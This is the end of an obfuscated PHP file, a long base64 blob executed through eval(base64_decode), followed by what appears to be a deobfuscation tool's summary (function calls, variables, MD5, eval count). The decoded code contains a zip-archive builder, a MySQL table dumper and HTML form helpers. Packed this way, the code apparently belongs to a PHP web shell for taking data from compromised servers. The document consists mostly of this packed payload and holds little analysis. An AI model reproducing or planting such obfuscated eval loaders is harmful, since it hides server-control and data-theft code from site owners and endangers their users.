JCQlpZigkZmlsZSE9Jy4nICYmICRmaWxlIT0nLi4nKXsNCgkJCQkJCSRmPSRkaXIgLicvJy4gJGZpbGU7DQoJCQkJCQlpZihpc19kaXIoJGYpKSAkdGhpcy0+R2V0RmlsZUxpc3QoJGYpOw0KCQkJCQkJJGFbXT0kZjsNCgkJCQkJfQ0KCQkJCX0NCgkJCQljbG9zZWRpcigkZGgpOw0KCQkJfQ0KCQl9DQoJCXJldHVybiAkYTsNCgl9DQoNCgl2YXIgJGRhdGFzZWMgICAgICA9IGFycmF5KCk7DQoJdmFyICRjdHJsX2RpciAgICAgPSBhcnJheSgpOw0KCXZhciAkZW9mX2N0cmxfZGlyID0gIlx4NTBceDRiXHgwNVx4MDZceDAwXHgwMFx4MDBceDAwIjsNCgl2YXIgJG9sZF9vZmZzZXQgICA9IDA7DQoNCglmdW5jdGlvbiB1bml4MkRvc1RpbWUoJHVuaXh0aW1lID0gMCkgew0KCQkkdGltZWFycmF5ID0gKCR1bml4dGltZSA9PSAwKSA/IGdldGRhdGUoKSA6IGdldGRhdGUoJHVuaXh0aW1lKTsNCgkJaWYgKCR0aW1lYXJyYXlbJ3llYXInXSA8IDE5ODApIHsNCgkJCSR0aW1lYXJyYXlbJ3llYXInXSAgICA9IDE5ODA7DQoJCQkkdGltZWFycmF5Wydtb24nXSAgICAgPSAxOw0KCQkJJHRpbWVhcnJheVsnbWRheSddICAgID0gMTsNCgkJCSR0aW1lYXJyYXlbJ2hvdXJzJ10gICA9IDA7DQoJCQkkdGltZWFycmF5WydtaW51dGVzJ10gPSAwOw0KCQkJJHRpbWVhcnJheVsnc2Vjb25kcyddID0gMDsNCgkJfSAvLyBlbmQgaWYNCgkJcmV0dXJuICgoJHRpbWVhcnJheVsneWVhciddIC0gMTk4MCkgPDwgMjUpIHwgKCR0aW1lYXJyYXlbJ21vbiddIDw8IDIxKSB8ICgkdGltZWFycmF5WydtZGF5J10gPDwgMTYpIHwNCgkJCQkoJHRpbWVhcnJheVsnaG91cnMnXSA8PCAxMSkgfCAoJHRpbWVhcnJheVsnbWludXRlcyddIDw8IDUpIHwgKCR0aW1lYXJyYXlbJ3NlY29uZHMnXSA+PiAxKTsNCgl9DQoNCglmdW5jdGlvbiBhZGRGaWxlKCRkYXRhLCAkbmFtZSwgJHRpbWUgPSAwKSB7DQoJCSRuYW1lID0gc3RyX3JlcGxhY2UoJ1xcJywgJy8nLCAkbmFtZSk7DQoNCgkJJGR0aW1lID0gZGVjaGV4KCR0aGlzLT51bml4MkRvc1RpbWUoJHRpbWUpKTsNCgkJJGhleGR0aW1lCT0gJ1x4JyAuICRkdGltZVs2XSAuICRkdGltZVs3XQ0KCQkJCQkuICdceCcgLiAkZHRpbWVbNF0gLiAkZHRpbWVbNV0NCgkJCQkJLiAnXHgnIC4gJGR0aW1lWzJdIC4gJGR0aW1lWzNdDQoJCQkJCS4gJ1x4JyAuICRkdGltZVswXSAuICRkdGltZVsxXTsNCgkJZXZhbCgnJGhleGR0aW1lID0gIicgLiAkaGV4ZHRpbWUgLiAnIjsnKTsNCgkJJGZyCT0gIlx4NTBceDRiXHgwM1x4MDQiOw0KCQkkZnIJLj0gIlx4MTRceDAwIjsNCgkJJGZyCS49ICJceDAwXHgwMCI7DQoJCSRmcgkuPSAiXHgwOFx4MDAiOw0KCQkkZnIJLj0gJGhleGR0aW1lOw0KDQoJCSR1bmNfbGVuID0gc3RybGVuKCRkYXRhKTsNCgkJJGNyYyA9IGNyYzMyKCRkYXRhKTsNCgkJJHpkYXRhID0gZ3pjb21wcmVzcygkZGF0YSk7DQoJCSRjX2xlbiA9IHN0cmxlbigkemRhdGEpOw0KCQkkemRhdGEgPSBzdWJzdHIoc3Vic3RyKCR6ZGF0YSwgMCwgc3RybGVuKCR6ZGF0YSkgLSA0KSwgMik7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNyYyk7DQoJCSRmciAuPSBwYWNrKCdWJywgJGNfbGVuKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkdW5jX2xlbik7DQoJCSRmciAuPSBwYWNrKCd2Jywgc3RybGVuKCRuYW1lKSk7DQoJCSRmciAuPSBwYWNrKCd2JywgMCk7DQoJCSRmciAuPSAkbmFtZTsNCgkJJGZyIC49ICR6ZGF0YTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGZyIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkZnIgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCg0KCQkkdGhpcyAtPiBkYXRhc2VjW10gPSAkZnI7DQoJCSRuZXdfb2Zmc2V0ID0gc3RybGVuKGltcGxvZGUoJycsICR0aGlzLT5kYXRhc2VjKSk7DQoNCgkJJGNkcmVjID0gIlx4NTBceDRiXHgwMVx4MDIiOw0KCQkkY2RyZWMgLj0gIlx4MDBceDAwIjsNCgkJJGNkcmVjIC49ICJceDE0XHgwMCI7DQoJCSRjZHJlYyAuPSAiXHgwMFx4MDAiOw0KCQkkY2RyZWMgLj0gIlx4MDhceDAwIjsNCgkJJGNkcmVjIC49ICRoZXhkdGltZTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY3JjKTsNCgkJJGNkcmVjIC49IHBhY2soJ1YnLCAkY19sZW4pOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsICR1bmNfbGVuKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCBzdHJsZW4oJG5hbWUpICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygndicsIDAgKTsNCgkJJGNkcmVjIC49IHBhY2soJ3YnLCAwICk7DQoJCSRjZHJlYyAuPSBwYWNrKCd2JywgMCApOw0KCQkkY2RyZWMgLj0gcGFjaygnVicsIDMyICk7DQoJCSRjZHJlYyAuPSBwYWNrKCdWJywgJHRoaXMgLT4gb2xkX29mZnNldCApOw0KCQkkdGhpcyAtPiBvbGRfb2Zmc2V0ID0gJG5ld19vZmZzZXQ7DQoJCSRjZHJlYyAuPSAkbmFtZTsNCg0KCQkkdGhpcyAtPiBjdHJsX2RpcltdID0gJGNkcmVjOw0KCX0NCg0KCWZ1bmN0aW9uIGZpbGUoKSB7DQoJCSRkYXRhICAgID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gZGF0YXNlYyk7DQoJCSRjdHJsZGlyID0gaW1wbG9kZSgnJywgJHRoaXMgLT4gY3RybF9kaXIpOw0KCQlyZXR1cm4gJGRhdGEgLiAkY3RybGRpciAuICR0aGlzIC0+IGVvZl9jdHJsX2RpciAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuIHBhY2soJ3YnLCBzaXplb2YoJHRoaXMgLT4gY3RybF9kaXIpKSAuCXBhY2soJ1YnLCBzdHJsZW4oJGN0cmxkaXIpKSAuIHBhY2soJ1YnLCBzdHJsZW4oJGRhdGEpKSAuICJceDAwXHgwMCI7DQoJfQ0KfQ0KDQovLyBEdW1wIG15c3FsDQpmdW5jdGlvbiBzcWxkdW1wdGFibGUoJHRhYmxlLCAkZnA9MCkgew0KCSR0YWJsZWR1bXAgPSAiRFJPUCBUQUJMRSBJRiBFWElTVFMgJHRhYmxlO1xuIjsNCgkkdGFibGVkdW1wIC49ICJDUkVBVEUgVEFCTEUgJHRhYmxlIChcbiI7DQoNCgkkZmlyc3RmaWVsZD0xOw0KDQoJJGZpZWxkcyA9IHEoIlNIT1cgRklFTERTIEZST00gJHRhYmxlIik7DQoJd2hpbGUgKCRmaWVsZCA9IG15c3FsX2ZldGNoX2FycmF5KCRmaWVsZHMpKSB7DQoJCWlmICghJGZpcnN0ZmllbGQpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIixcbiI7DQoJCX0gZWxzZSB7DQoJCQkkZmlyc3RmaWVsZD0wOw0KCQl9DQoJCSR0YWJsZWR1bXAgLj0gIiAgICRmaWVsZFtGaWVsZF0gJGZpZWxkW1R5cGVdIjsNCgkJaWYgKCFlbXB0eSgkZmllbGRbIkRlZmF1bHQiXSkpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBERUZBVUxUICckZmllbGRbRGVmYXVsdF0nIjsNCgkJfQ0KCQlpZiAoJGZpZWxkWydOdWxsJ10gIT0gIllFUyIpIHsNCgkJCSR0YWJsZWR1bXAgLj0gIiBOT1QgTlVMTCI7DQoJCX0NCgkJaWYgKCRmaWVsZFsnRXh0cmEnXSAhPSAiIikgew0KCQkJJHRhYmxlZHVtcCAuPSAiICRmaWVsZFtFeHRyYV0iOw0KCQl9DQoJfQ0KCWZyKCRmaWVsZHMpOw0KDQoJJGtleXMgPSBxKCJTSE9XIEtFWVMgRlJPTSAkdGFibGUiKTsNCgl3aGlsZSAoJGtleSA9IG15c3FsX2ZldGNoX2FycmF5KCRrZXlzKSkgew0KCQkka25hbWU9JGtleVsnS2V5X25hbWUnXTsNCgkJaWYgKCRrbmFtZSAhPSAiUFJJTUFSWSIgJiYgJGtleVsnTm9uX3VuaXF1ZSddID09IDApIHsNCgkJCSRrbmFtZT0iVU5JUVVFfCRrbmFtZSI7DQoJCX0NCgkJaWYoIWlzX2FycmF5KCRpbmRleFska25hbWVdKSkgew0KCQkJJGluZGV4WyRrbmFtZV0gPSBhcnJheSgpOw0KCQl9DQoJCSRpbmRleFska25hbWVdW10gPSAka2V5WydDb2x1bW5fbmFtZSddOw0KCX0NCglmcigka2V5cyk7DQoNCgl3aGlsZShsaXN0KCRrbmFtZSwgJGNvbHVtbnMpID0gQGVhY2goJGluZGV4KSkgew0KCQkkdGFibGVkdW1wIC49ICIsXG4iOw0KCQkkY29sbmFtZXM9aW1wbG9kZSgkY29sdW1ucywiLCIpOw0KDQoJCWlmICgka25hbWUgPT0gIlBSSU1BUlkiKSB7DQoJCQkkdGFibGVkdW1wIC49ICIgICBQUklNQVJZIEtFWSAoJGNvbG5hbWVzKSI7DQoJCX0gZWxzZSB7DQoJCQlpZiAoc3Vic3RyKCRrbmFtZSwwLDYpID09ICJVTklRVUUiKSB7DQoJCQkJJGtuYW1lPXN1YnN0cigka25hbWUsNyk7DQoJCQl9DQoJCQkkdGFibGVkdW1wIC49ICIgICBLRVkgJGtuYW1lICgkY29sbmFtZXMpIjsNCgkJfQ0KCX0NCg0KCSR0YWJsZWR1bXAgLj0gIlxuKTtcblxuIjsNCglpZiAoJGZwKSB7DQoJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJfSBlbHNlIHsNCgkJZWNobyAkdGFibGVkdW1wOw0KCX0NCg0KCSRyb3dzID0gcSgiU0VMRUNUICogRlJPTSAkdGFibGUiKTsNCgkkbnVtZmllbGRzID0gbXlzcWxfbnVtX2ZpZWxkcygkcm93cyk7DQoJd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9hcnJheSgkcm93cykpIHsNCgkJJHRhYmxlZHVtcCA9ICJJTlNFUlQgSU5UTyAkdGFibGUgVkFMVUVTKCI7DQoNCgkJJGZpZWxkY291bnRlcj0tMTsNCgkJJGZpcnN0ZmllbGQ9MTsNCgkJd2hpbGUgKCsrJGZpZWxkY291bnRlcjwkbnVtZmllbGRzKSB7DQoJCQlpZiAoISRmaXJzdGZpZWxkKSB7DQoJCQkJJHRhYmxlZHVtcC49IiwgIjsNCgkJCX0gZWxzZSB7DQoJCQkJJGZpcnN0ZmllbGQ9MDsNCgkJCX0NCg0KCQkJaWYgKCFpc3NldCgkcm93WyRmaWVsZGNvdW50ZXJdKSkgew0KCQkJCSR0YWJsZWR1bXAgLj0gIk5VTEwiOw0KCQkJfSBlbHNlIHsNCgkJCQkkdGFibGVkdW1wIC49ICInIi5teXNxbF9lc2NhcGVfc3RyaW5nKCRyb3dbJGZpZWxkY291bnRlcl0pLiInIjsNCgkJCX0NCgkJfQ0KDQoJCSR0YWJsZWR1bXAgLj0gIik7XG4iOw0KDQoJCWlmICgkZnApIHsNCgkJCWZ3cml0ZSgkZnAsJHRhYmxlZHVtcCk7DQoJCX0gZWxzZSB7DQoJCQllY2hvICR0YWJsZWR1bXA7DQoJCX0NCgl9DQoJZnIoJHJvd3MpOw0KCWlmICgkZnApIHsNCgkJZndyaXRlKCRmcCwiXG4iKTsNCgl9IGVsc2Ugew0KCQllY2hvICJcbiI7DQoJfQ0KfQ0KDQpmdW5jdGlvbiB1ZSgkc3RyKXsNCglyZXR1cm4gdXJsZW5jb2RlKCRzdHIpOw0KfQ0KDQpmdW5jdGlvbiBwKCRzdHIpew0KCWVjaG8gJHN0ci4iXG4iOw0KfQ0KDQpmdW5jdGlvbiB0YmhlYWQoKSB7DQoJcCgnPHRhYmxlIHdpZHRoPSIxMDAlIiBib3JkZXI9IjAiIGNlbGxwYWRkaW5nPSI0IiBjZWxsc3BhY2luZz0iMCI+Jyk7DQp9DQpmdW5jdGlvbiB0YmZvb3QoKXsNCglwKCc8L3RhYmxlPicpOw0KfQ0KDQpmdW5jdGlvbiBtYWtlaGlkZSgkbmFtZSwkdmFsdWU9Jycpew0KCXAoIjxpbnB1dCBpZD1cIiRuYW1lXCIgdHlwZT1cImhpZGRlblwiIG5hbWU9XCIkbmFtZVwiIHZhbHVlPVwiJHZhbHVlXCIgLz4iKTsNCn0NCg0KZnVuY3Rpb24gbWFrZWlucHV0KCRhcmcgPSBhcnJheSgpKXsNCgkkYXJnWydzaXplJ10gPSAkYXJnWydzaXplJ10gPiAwID8gInNpemU9XCIkYXJnW3NpemVdXCIiIDogInNpemU9XCIxMDBcIiI7DQoJJGFyZ1snZXh0cmEnXSA9ICRhcmdbJ2V4dHJhJ10gPyAkYXJnWydleHRyYSddIDogJyc7DQoJISRhcmdbJ3R5cGUnXSAmJiAkYXJnWyd0eXBlJ10gPSAndGV4dCc7DQoJJGFyZ1sndGl0bGUnXSA9ICRhcmdbJ3RpdGxlJ10gPyAkYXJnWyd0aXRsZSddLic8YnIgLz4nIDogJyc7DQoJJGFyZ1snY2xhc3MnXSA9ICRhcmdbJ2NsYXNzJ10gPyAkYXJnWydjbGFzcyddIDogJ2lucHV0JzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSB7DQoJCXAoIjxwPiRhcmdbdGl0bGVdPGlucHV0IGNsYXNzPVwiJGFyZ1tjbGFzc11cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiIGlkPVwiJGFyZ1tuYW1lXVwiIHZhbHVlPVwiJGFyZ1t2YWx1ZV1cIiB0eXBlPVwiJGFyZ1t0eXBlXVwiICRhcmdbc2l6ZV0gJGFyZ1tleHRyYV0gLz48L3A+Iik7DQoJfSBlbHNlIHsNCgkJcCgiJGFyZ1t0aXRsZV08aW5wdXQgY2xhc3M9XCIkYXJnW2NsYXNzXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgdmFsdWU9XCIkYXJnW3ZhbHVlXVwiIHR5cGU9XCIkYXJnW3R5cGVdXCIgJGFyZ1tzaXplXSAkYXJnW2V4dHJhXSAvPiIpOw0KCX0NCn0NCg0KZnVuY3Rpb24gbWFrZXNlbGVjdCgkYXJnID0gYXJyYXkoKSl7DQoJaWYgKCRhcmdbJ29uY2hhbmdlJ10pIHsNCgkJJG9uY2hhbmdlID0gJ29uY2hhbmdlPSInLiRhcmdbJ29uY2hhbmdlJ10uJyInOw0KCX0NCgkkYXJnWyd0aXRsZSddID0gJGFyZ1sndGl0bGUnXSA/ICRhcmdbJ3RpdGxlJ10gOiAnJzsNCglpZiAoJGFyZ1snbmV3bGluZSddKSBwKCc8cD4nKTsNCglwKCIkYXJnW3RpdGxlXSA8c2VsZWN0IGNsYXNzPVwiaW5wdXRcIiBpZD1cIiRhcmdbbmFtZV1cIiBuYW1lPVwiJGFyZ1tuYW1lXVwiICRvbmNoYW5nZT4iKTsNCgkJaWYgKGlzX2FycmF5KCRhcmdbJ29wdGlvbiddKSkgew0KCQkJZm9yZWFjaCAoJGFyZ1snb3B0aW9uJ10gYXMgJGtleT0+JHZhbHVlKSB7DQoJCQkJaWYgKCRhcmdbJ3NlbGVjdGVkJ109PSRrZXkpIHsNCgkJCQkJcCgiPG9wdGlvbiB2YWx1ZT1cIiRrZXlcIiBzZWxlY3RlZD4kdmFsdWU8L29wdGlvbj4iKTsNCgkJCQl9IGVsc2Ugew0KCQkJCQlwKCI8b3B0aW9uIHZhbHVlPVwiJGtleVwiPiR2YWx1ZTwvb3B0aW9uPiIpOw0KCQkJCX0NCgkJCX0NCgkJfQ0KCXAoIjwvc2VsZWN0PiIpOw0KCWlmICgkYXJnWyduZXdsaW5lJ10pIHAoJzwvcD4nKTsNCn0NCmZ1bmN0aW9uIGZvcm1oZWFkKCRhcmcgPSBhcnJheSgpKSB7DQoJISRhcmdbJ21ldGhvZCddICYmICRhcmdbJ21ldGhvZCddID0gJ3Bvc3QnOw0KCSEkYXJnWydhY3Rpb24nXSAmJiAkYXJnWydhY3Rpb24nXSA9ICRzZWxmOw0KCSRhcmdbJ3RhcmdldCddID0gJGFyZ1sndGFyZ2V0J10gPyAidGFyZ2V0PVwiJGFyZ1t0YXJnZXRdXCIiIDogJyc7DQoJISRhcmdbJ25hbWUnXSAmJiAkYXJnWyduYW1lJ10gPSAnZm9ybTEnOw0KCXAoIjxmb3JtIG5hbWU9XCIkYXJnW25hbWVdXCIgaWQ9XCIkYXJnW25hbWVdXCIgYWN0aW9uPVwiJGFyZ1thY3Rpb25dXCIgbWV0aG9kPVwiJGFyZ1ttZXRob2RdXCIgJGFyZ1t0YXJnZXRdPiIpOw0KCWlmICgkYXJnWyd0aXRsZSddKSB7DQoJCXAoJzxoMj4nLiRhcmdbJ3RpdGxlJ10uJyAmcmFxdW87PC9oMj4nKTsNCgl9DQp9DQoNCmZ1bmN0aW9uIG1ha2V0ZXh0KCRhcmcgPSBhcnJheSgpKXsNCgkhJGFyZ1snY29scyddICYmICRhcmdbJ2NvbHMnXSA9IDEwMDsNCgkhJGFyZ1sncm93cyddICYmICRhcmdbJ3Jvd3MnXSA9IDI1Ow0KCSRhcmdbJ3RpdGxlJ10gPSAkYXJnWyd0aXRsZSddID8gJGFyZ1sndGl0bGUnXS4nPGJyIC8+JyA6ICcnOw0KCXAoIjxwPiRhcmdbdGl0bGVdPHRleHRhcmVhIGNsYXNzPVwiYXJlYVwiIGlkPVwiJGFyZ1tuYW1lXVwiIG5hbWU9XCIkYXJnW25hbWVdXCIgY29scz1cIiRhcmdbY29sc11cIiByb3dzPVwiJGFyZ1tyb3dzXVwiICRhcmdbZXh0cmFdPiRhcmdbdmFsdWVdPC90ZXh0YXJlYT48L3A+Iik7DQp9DQoNCmZ1bmN0aW9uIGZvcm1mb290ZXIoJG5hbWUgPSAnJyl7DQoJISRuYW1lICYmICRuYW1lID0gJ3N1Ym1pdCc7DQoJcCgnPHA+PGlucHV0IGNsYXNzPSJidCIgbmFtZT0iJy4kbmFtZS4nIiBpZD1cIicuJG5hbWUuJ1wiIHR5cGU9InN1Ym1pdCIgdmFsdWU9IlN1Ym1pdCI+PC9wPicpOw0KCXAoJzwvZm9ybT4nKTsNCn0NCg0KZnVuY3Rpb24gZm9ybWZvb3QoKXsNCglwKCc8L2Zvcm0+Jyk7DQp9DQoNCi8vIEV4aXQNCmZ1bmN0aW9uIHByKCRhKSB7DQoJZWNobyAnPHByZT4nOw0KCXByaW50X3IoJGEpOw0KCWVjaG8gJzwvcHJlPic7DQp9DQoNCg=='; eval(base64_decode($a)); ?>

Function Calls

base64_decode 1

Variables

$a LyoqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKipcDQp8..

Stats

MD5 94c1ac2304591aaed7fa9b60e7c62d3f
Eval Count 1
Decode Time 283 ms